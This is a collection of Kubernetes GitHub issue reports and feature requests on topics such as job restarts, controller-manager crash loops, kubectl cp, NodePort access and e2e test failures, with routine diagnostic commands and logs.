/etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   \r   \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we launched a job with :\r \r    \r spec:\r   activedeadlineseconds: 30\r   completions: 1\r   parallelism: 1\r   template:\r     ...\r     spec:\r       ...\r       restartpolicy: never\r    \r \r it failed and it got restarted.\r \r   what you expected to happen  :\r \r we expected to not get restarted if failed.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.10\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   bug report  :\r \r  \r   what happened  :\r \r kubernetes distro testing v1.12.0-rc.2 shows in setups with self-hosted control planes  i.e. apiserver, controller-manager, scheduler run as pods  that previously worked on v1.11.3 and prior, the kube-controller-manager now crash loops.\r \r    \r $ kubectl get pods --all-namespaces\r namespace     name                                       ready     status             restarts   age\r kube-system   kube-apiserver-2t77v                       1/1       running            2          8m\r kube-system   kube-controller-manager-6d6cf5968c-r4jzv   0/1       crashloopbackoff   6          9m\r kube-system   kube-controller-manager-6d6cf5968c-szd6z   0/1       crashloopbackoff   6          9m\r ...\r    \r \r    \r $ kubectl logs kube-controller-manager-6d6cf5968c-r4jzv -n kube-system\r error creating self-signed certificates: mkdir /var/run/kubernetes: permission denied\r    \r \r notably, the kube-controller-manager is run with:\r \r    \r      securitycontext:\r         runasnonroot: true\r         runasuser: 65534\r    \r \r which has been fine through to v1.11.3. full  kube-controller-manager.yaml  https://github.com/poseidon/terraform-render-bootkube/blob/master/resources/manifests/kube-controller-manager.yaml .\r \r   what you expected to happen  :\r \r controller manager may not assume it has root. or should clarify if an additional mount is now required.\r \r may have been introduced in https://github.com/kubernetes/kubernetes/pull/65867 cc @sttts\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.2\r - cloud provider or hardware configuration: gce, digitalocean, aws\r - os  e.g. from /etc/os-release : container linux 1855.4.0\r - kernel  e.g.  uname -a  : 4.14.67-coreos\r - install tools: typhoon

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r a generic way to query all resources that reference the current resource via owner references.\r so for example a command like  kubectl get foo/bar --references  will print all resources that reference  foo/bar .  \r \r   why is this needed  :\r \r this capability will allow better debugging for gc issues, when one resource is stucked in deletion state because it depends on other resource to be deleted. it would also help to visualize the graph that garbage collection is using and list resources that will be automatically deleted  secrets, config maps, etc... .\r \r 

we've had issues with crashlooping heapster   19986  and indirect test failures of hpa due to broken heapster  ? .  it appears we have insufficient coverage of heapster?  that is, a test that verifies heapster is running and not crashlooping would have made such issues much easier to debug and point directly to root cause?

kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:29:08z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      on gke, using service, endpoints and an external application:  using the following service and endpoints:      yml  --- kind: service apiversion: v1 metadata:   name: vault   namespace: development spec:   clusterip: none   ports:   - targetport: 32001     port: 8200  --- kind: endpoints apiversion: v1 metadata:   name: vault   namespace: development subsets: - addresses:   - ip: 104.199.xx.yy   ports:   - port: 32001      this does not work:      shell telnet vault 8200 trying 104.199.xx.yy... ^c      but this does:      shell telnet vault 32001 trying 104.199.xx.yy... connected to vault.development.svc.cluster.local. escape character is '^ '.      i expected the service  port  to be mapped to  targetport  before being sent to the external  endpoint . this does not happen.  according to the  documentation  http://kubernetes.io/docs/user-guide/services/ services-without-selectors  this should work.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress-release-1.4/988/  failed:  k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  slow   feature: ingress  shoud create ingress with given static-ip  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:109 dec 10 14:26:36.795: l7 controller failed to delete all cloud resources on time. warning: leaked resources: k8s-fws-e2e-tests-ingress-8hsr1-static-ip--a007b6c75dfcf2d7  forwarding rule  k8s-tps-e2e-tests-ingress-8hsr1-static-ip--a007b6c75dfcf2d7  target-https-proxy  k8s-um-e2e-tests-ingress-8hsr1-static-ip--a007b6c75dfcf2d7  url-map  k8s-be-30763--a007b6c75dfcf2d7  backend-service  k8s-be-31031--a007b6c75dfcf2d7  backend-service  k8s-be-30763--a007b6c75dfcf2d7  http-health-check  k8s-be-31031--a007b6c75dfcf2d7  http-health-check  k8s-ig--a007b6c75dfcf2d7  instance-group  k8s-ssl-e2e-tests-ingress-8hsr1-static-ip--a007b6c75dfcf2d7  ssl-certificate  failed to delete ssl certificates: k8s-ssl-e2e-tests-ingress-8hsr1-static-ip--a007b6c75dfcf2d7   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress_utils.go:323       previous issues for this test:  33840  35548

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1.5-1.4-cvm-kubectl-skew/766/  failed:  k8s.io  kubectl client  k8s.io  kubectl run pod should create a pod from an image when restart is never  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec 11 07:14:21.828: couldn't delete ns: \ e2e-tests-kubectl-r615t\ : namespace e2e-tests-kubectl-r615t was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-kubectl-r615t was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338       previous issues for this test:  27507  28275

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.7\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : rhel\r -   kernel    e.g.  uname -a  : 3.10\r -   install tools  : ansible\r -   others  :\r \r \r   what happened  :\r \r we hit this issue in kubernetes in this  line  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack.go l615 \r \r the api response is \r    console\r   curl -i  -w %{http_code}  http://xxx:8776/\r http/1.1 300 multiple choices\r content-type: application/json\r content-length: 1371\r openstack-api-version: volume 3.0\r vary: openstack-api-version\r date: wed, 14 jun 2017 19:28:15 gmt\r \r {\r     \ versions\ :  \r         {\r             \ status\ : \ supported\ ,\r             \ updated\ : \ 2014-06-28t12:20:21z\ ,\r             \ links\ :  \r                 {\r                     \ href\ : \ http://docs.openstack.org/\ ,\r                     \ type\ : \ text/html\ ,\r                     \ rel\ : \ describedby\ \r                 },\r                 {\r                     \ href\ : \ http://xxx:8776/v1/\ ,\r                     \ rel\ : \ self\ \r                 }\r              ,\r             \ min_version\ : \ \ ,\r             \ version\ : \ \ ,\r             \ media-types\ :  \r                 {\r                     \ base\ : \ application/json\ ,\r                     \ type\ : \ application/vnd.openstack.volume+json;version=1\ \r                 },\r                 {\r                     \ base\ : \ application/xml\ ,\r                     \ type\ : \ application/vnd.openstack.volume+xml;version=1\ \r                 }\r              ,\r             \ id\ : \ v1.0\ \r         },\r         {\r             \ status\ : \ supported\ ,\r             \ updated\ : \ 2014-06-28t12:20:21z\ ,\r             \ links\ :  \r                 {\r                     \ href\ : \ http://docs.openstack.org/\ ,\r                     \ type\ : \ text/html\ ,\r                     \ rel\ : \ describedby\ \r                 },\r                 {\r                     \ href\ : \ http://xxx:8776/v2/\ ,\r                     \ rel\ : \ self\ \r                 }\r              ,\r             \ min_version\ : \ \ ,\r             \ version\ : \ \ ,\r             \ media-types\ :  \r                 {\r                     \ base\ : \ application/json\ ,\r                     \ type\ : \ application/vnd.openstack.volume+json;version=1\ \r                 },\r                 {\r                     \ base\ : \ application/xml\ ,\r                     \ type\ : \ application/vnd.openstack.volume+xml;version=1\ \r                 }\r              ,\r             \ id\ : \ v2.0\ \r         },\r         {\r             \ status\ : \ current\ ,\r             \ updated\ : \ 2016-02-08t12:20:21z\ ,\r             \ links\ :  \r                 {\r                     \ href\ : \ http://docs.openstack.org/\ ,\r                     \ type\ : \ text/html\ ,\r                     \ rel\ : \ describedby\ \r                 },\r                 {\r                     \ href\ : \ http://xxx:8776/v3/\ ,\r                     \ rel\ : \ self\ \r                 }\r              ,\r             \ min_version\ : \ 3.0\ ,\r             \ version\ : \ 3.0\ ,\r             \ media-types\ :  \r                 {\r                     \ base\ : \ application/json\ ,\r                     \ type\ : \ application/vnd.openstack.volume+json;version=1\ \r                 },\r                 {\r                     \ base\ : \ application/xml\ ,\r                     \ type\ : \ application/vnd.openstack.volume+xml;version=1\ \r                 }\r              ,\r             \ id\ : \ v3.0\ \r         }\r      \r }300\r    \r \r \r according to https://developer.openstack.org/api-guide/compute/versions.html, http status 300 could return when blockstorage list api versions.\r \r   what you expected to happen  :\r cinder api list should pass\r \r   how to reproduce it    as minimally and precisely as possible :\r run kubernetes with openstack liberty release\r \r   anything else we need to know  :\r \r

our code is hard to navigate, and github search isn't the greatest. it would help if the directory structure weren't so flat. i'm also not sure it makes sense for plugin to not be under pkg.  2306 is related, but separate.  strawman: - master/   - service/   - nodecontroller/   - replicationcontroller/   - resourcequota/   - scheduler/   - storage/     - etcd/   - ui/ - node/   - kubelet/   - proxy/ - cloudprovider/ - client/   - auth/   - config/   - lib/   - kubectl/ - common/   - apischema/     - internal/     - public/       - v1beta1/       - v1beta2/       - v1beta3/   - apiserver/   - apiframework/     - api/: generic files from pkg/api     - meta/     - conversion/     - registry/  generic crud      - runtime/     - version/     - watch/   - auth/   - util/     - labels/     - probe/     - resource/     - types/  @smarterclayton @lavalamp @thockin

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r if i create a deployment or daemonset and set the pods as critical pods with  scheduler.alpha.kubernetes.io/critical-pod: '' , then the pods in the deployment or daemonset can still be evicted because they are not static pod.\r \r   what you expected to happen  :\r do not evict critical pods even if they are not static pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r   what happened  :\r currently, if block volume plugin fails to reconstruct volume, cleanupmounts   is called to unmap volume.\r however, there are following two issues to clean-up volume via cleanupmounts   path.\r \r - during cleanupmounts  , mountedvolume doesn't have volumemode.\r   therefore, following unmount operation always calls filesystem's\r   unmount operation then fails to unmap block volume. regression via https://github.com/kubernetes/kubernetes/pull/56454 \r \r - during cleanupmounts   sequence, if volumemode is block, devicemountpath\r   is empty when kubelet calls generateunmapvolumefunc  , and then unmap will be failed.\r    via https://github.com/kubernetes/kubernetes/pull/58177 \r \r   what you expected to happen  :\r volume cleanup during cleanupmounts   path with block volume should have succeeded.\r \r   how to reproduce it  as minimally and precisely as possible   :\r currently issues mentioned above basically don't happen because all plugins which support block volume have proper implementations of constructblockvolumespec  .\r however if plugin which can't support block volume reconstruction, it will hit these problems. therefore we need fix the problem.\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes version  use kubectl version : 1.10+\r cloud provider or hardware configuration: kvm\r os  e.g. from /etc/os-release : fedora 25\r install tools: local-up-cluster.sh\r \r  @msau42 @jingxu97 @screeley44 @erinboyd @mkimuram

  \r   what happened  :\r  kubectl cp <pod>:/foo/bar ./bar does not copy the directory but  /  instead:\r    \r + rm -rf ./gatlingresults\r + mkdir -p ./gatlingresults\r + kubectl cp --as=root h3046-gatling-test:/tmp/testresults ./gatlingresults\r tar: removing leading '/' from member names\r tar: /tmp/testresults/lost+found: permission denied\r tar: error exit delayed from previous errors\r    \r \r   what you expected to happen  :\r as per the documentation, this should copy the  /foo/bar  directory to local filesystem.\r instead, it tries to copy files from  /   root dir . together with issue  64195, this makes it a critical issue because it's not possible to copy the content at all. one needs to install zip, zip whats needed, move it, and  kubectl cp  from there.\r it's not possible to use a path without  /  because that copies from the workdir  iirc .\r  \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod e.g. from alpine/openjdk:8.\r create a directory in it. in my case, it was a mounted pvc in aws eks. that could be important.\r run  kubectl cp <pod>:/<dir> ./foo \r it will try to copy  /lost+found  which is located in  / . so it's clearly not copying the specified directory.\r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws eks\r \r - os  e.g. from /etc/os-release : alpine linux\r - kernel  e.g.  uname -a  : current latest\r - install tools: helm\r \r

 \r   what happened  :\r when the service controller with the gce cloudprovider creates resources, it polls gcp for the status of the operation. the polling interval was replaced with a token bucket ratelimiter; we actually need both an interval and ratelimiter.\r \r as a result, api calls to gcp may burst unnecessarily.\r \r   what you expected to happen  :\r operations should be polled on a set interval or later if qps is constrained.\r

hi, on some nodes of my cluster, i get this error: the node is low on resource: imagefs.\r i'm pretty sure there are still lots of spaces on the nodes.\r so, is there any way to increase the imagefs of the nodes? thanks very much.\r my kuber version is 1.9.0

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r kubelet panics during startup. this host has been working fine previously without any problems.\r \r    \r kubelet 19121 : e0823 10:19:35.574219   19121 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r kubelet 19121 : /usr/local/go/src/runtime/asm_amd64.s:509\r kubelet 19121 : /usr/local/go/src/runtime/panic.go:491\r kubelet 19121 : /usr/local/go/src/runtime/panic.go:63\r kubelet 19121 : /usr/local/go/src/runtime/signal_unix.go:367\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:542\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:579\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:403\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:314\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:155\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r kubelet 19121 : /workspace/anago-v1.10.7-beta.0.45+0c38c362511b20/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:143\r kubelet 19121 : /usr/local/go/src/runtime/asm_amd64.s:2337\r    \r \r   what you expected to happen  :\r \r kubelet to start up and connect to the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r no idea at the moment, i'll update this issue when i know more.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.7\r - cloud provider or hardware configuration: on premise virtual machines\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux hostname 4.4.0-133-generic  159-ubuntu smp fri aug 10 07:31:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: none\r - others: none\r

failing jobs\r  sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master \r   failing tests\r  persistent-volume-upgrade  sig-storage   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1440 \r   triage results\r  persistent-volume-upgrade  sig-storage   https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master&test=persistent-volume-upgrade \r \r   / /milestone v1.12\r /cc @tpepper @aishsundar @kubernetes/sig-storage-test-failures

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r at the first ,i stop a pod ,then if kubectl describe  po xxx，i can see pod'status is  terminating ,but, if print the  podstatus by the following :\r ---------------------------------\r  v1 = client.corev1api  \r  w = watch.watch  \r  for event in w.stream v1.list_pod_for_all_namespaces :\r       print event 'object' .status.phase\r ---------------------------------\r then it  has status of  \ penging\ ,”running”,\ pending”，but no \ terminating\ .\r so how to get the time taken when the pod is terminating ,thanks!\r    \r \r   what you expected to happen  :\r how to get the time taken when the pod is terminating ,thanks!\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i'm not sure if gce can do it, but aws' elb can be told to have listeners that terminate ssl connections with an existing iam certificate. it would be great to allow that.

currently we can configure the node disk size, but it won't be used for containers if instance storage is also available.  also, if you choose e.g. btrfs, it won't work unless you have instance storage.  we should at least fix the docs in 1.2, and ideally fix the behavior to be more understandable/consistent.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-test/13610/  failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:1432 expected error:     < errors.statuserror | 0xc820daac00>: {         errstatus: {             typemeta: {kind: \ status\ , apiversion: \ v1\ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ operation cannot be fulfilled on nodes \\\ gke-jenkins-e2e-default-pool-e4f93344-rscv\\\ : the object has been modified; please apply your changes to the latest version and try again\ ,             reason: \ conflict\ ,             details: {                 name: \ gke-jenkins-e2e-default-pool-e4f93344-rscv\ ,                 group: \ \ ,                 kind: \ nodes\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 409,         },     }     operation cannot be fulfilled on nodes \ gke-jenkins-e2e-default-pool-e4f93344-rscv\ : the object has been modified; please apply your changes to the latest version and try again not to have occurred      previous issues for this test:  28853

for both secrets and endpoints the namespace is assumed to be the binding pvc namespace.  this is problematic when creating pvs & secrets/endpoints before the pvc exist.    any field specifying an endpoint or secret in pv should also specify the namespace for each item.  example:      yaml apiversion: v1  kind: persistentvolume metadata:   name: ceph spec:   capacity:    storage: 5gi   accessmodes:    - readwriteonce   persistentvolumereclaimpolicy: recycle   rbd:    monitors:  '172.17.0.2:6789'     pool: rbd    image: foo    user: admin    secretref:      name: 'ceph-secret'      namespace: 'storage-admin'    keyring: ''    fstype: 'ext4'    readonly: false

i tried to use the last version 1.4.4 but when i run this command:   >> kubernetes_provider=ubuntu ./kube-up.sh   i got:      ... starting cluster using provider: ubuntu ... calling verify-prereqs identity added: /root/.ssh/id_rsa  /root/.ssh/id_rsa  ... calling kube-up /data/kubernetes/cluster/ubuntu /data/kubernetes/cluster prepare flannel 0.5.5 release ... prepare etcd 2.3.1 release ... prepare kubernetes 1.4.4 release ... done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory /data/kubernetes/cluster  deploying master and node on machine 127.0.0.1 make-ca-cert.sh                                                                                                     100% 4136     4.0kb/s   00:00     easy-rsa.tar.gz                                                                                                     100%   42kb  42.4kb/s   00:00     config-default.sh                                                                                                   100% 5546     5.4kb/s   00:00     util.sh                                                                                                             100%   29kb  28.9kb/s   00:00     kube-proxy.conf                                                                                                     100%  688     0.7kb/s   00:00     kubelet.conf                                                                                                        100%  645     0.6kb/s   00:00     kube-proxy                                                                                                          100% 2233     2.2kb/s   00:00     kubelet                                                                                                             100% 2158     2.1kb/s   00:00     kube-scheduler.conf                                                                                                 100%  682     0.7kb/s   00:00     kube-apiserver.conf                                                                                                 100%  682     0.7kb/s   00:00     etcd.conf                                                                                                           100%  707     0.7kb/s   00:00     kube-controller-manager.conf                                                                                        100%  761     0.7kb/s   00:00     etcd                                                                                                                100% 2073     2.0kb/s   00:00     kube-scheduler                                                                                                      100% 2360     2.3kb/s   00:00     kube-controller-manager                                                                                             100% 2672     2.6kb/s   00:00     kube-apiserver                                                                                                      100% 2358     2.3kb/s   00:00     reconfdocker.sh                                                                                                     100% 2068     2.0kb/s   00:00     etcdctl                                                                                                             100%   14mb  13.7mb/s   00:01     flanneld                                                                                                            100%   16mb  15.8mb/s   00:00     etcd                                                                                                                100%   16mb  15.9mb/s   00:00     kube-scheduler                                                                                                      100%   77mb  76.9mb/s   00:01     kube-controller-manager                                                                                             100%  134mb 134.4mb/s   00:01     kube-apiserver                                                                                                      100%  144mb  48.0mb/s   00:03     flanneld                                                                                                            100%   16mb  15.8mb/s   00:00     kube-proxy                                                                                                          100%   69mb  69.4mb/s   00:01     kubelet                                                                                                             100%  123mb 122.7mb/s   00:01     flanneld.conf                                                                                                       100%  579     0.6kb/s   00:00     flanneld                                                                                                            100% 2121     2.1kb/s   00:00     flanneld.conf                                                                                                       100%  570     0.6kb/s   00:00     flanneld                                                                                                            100% 2131     2.1kb/s   00:00     connection to 127.0.0.1 closed. deploying master and node on machine 127.0.0.1 failed      can anyone help me on this please? where to find logs?

kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    docker version on master and minions   :\r $ docker -v\r docker version 1.13.1, build 092cba3\r \r   environment  :\r -   cloud provider or hardware configuration  :\r vmware\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r \r -   kernel    e.g.  uname -a  :\r linux knode-master 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kubeadm\r \r -   others  :\r \r \r   what happened  :\r using  kubeadm  https://kubernetes.io/docs/getting-started-guides/kubeadm/  page i installed a three node cluster. \r \r    \r $ kc describe nodes | awk '/addresses/ {print $2}' | awk -f',' '{print $3}' \r knode-0\r knode-1\r knode-master\r    \r installed canal pod-network:\r    \r kubectl create -f https://raw.githubusercontent.com/tigera/canal/master/k8sinstall/kubeadm/canal.yaml\r    \r \r nodes, services, pods were healthy at this time. so proceeded to dashboard\r    \r kubectl create -f https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml\r \r $ kubectl get -n kube-system services\r name                   cluster-ip       external-ip   port s          age\r canal-etcd             10.96.232.136    <none>        6666/tcp        5m\r kube-dns               10.96.0.10       <none>        53/udp,53/tcp   13h\r kubernetes-dashboard   10.110.163.186   <nodes>       80:31699/tcp    1m\r    \r   what you expected to happen  :\r the   nodeport section  https://kubernetes.io/docs/user-guide/services/ type-nodeport  in services doc indicates nodeport should be visible on all nodeips.\r \r in my case, not all nodeips are responding to requests on dashboard's nodeport 31699 and forwarding them to dashboard pod.\r only the node  or minion  hosting the pod seems to respond to the browser requests. the other nodes  or minions   do not respond.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r _from knode-1  a minion :_\r    \r $ sudo docker ps -a | grep dashboard\r 79e23eff2c26        gcr.io/google_containers/kubernetes-dashboard-amd64:v1.5.1   \ /dashboard --port...\    44 minutes ago      up 43 minutes \r    \r _curl access to the dashboard outside the cluster:_ \r \r connection timed out to _knode-0:31699\r    \r $ curl -m 2 -o http://knode-0:31699/ /workload?namespace=default\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0curl:  28  connection timed out after 2003 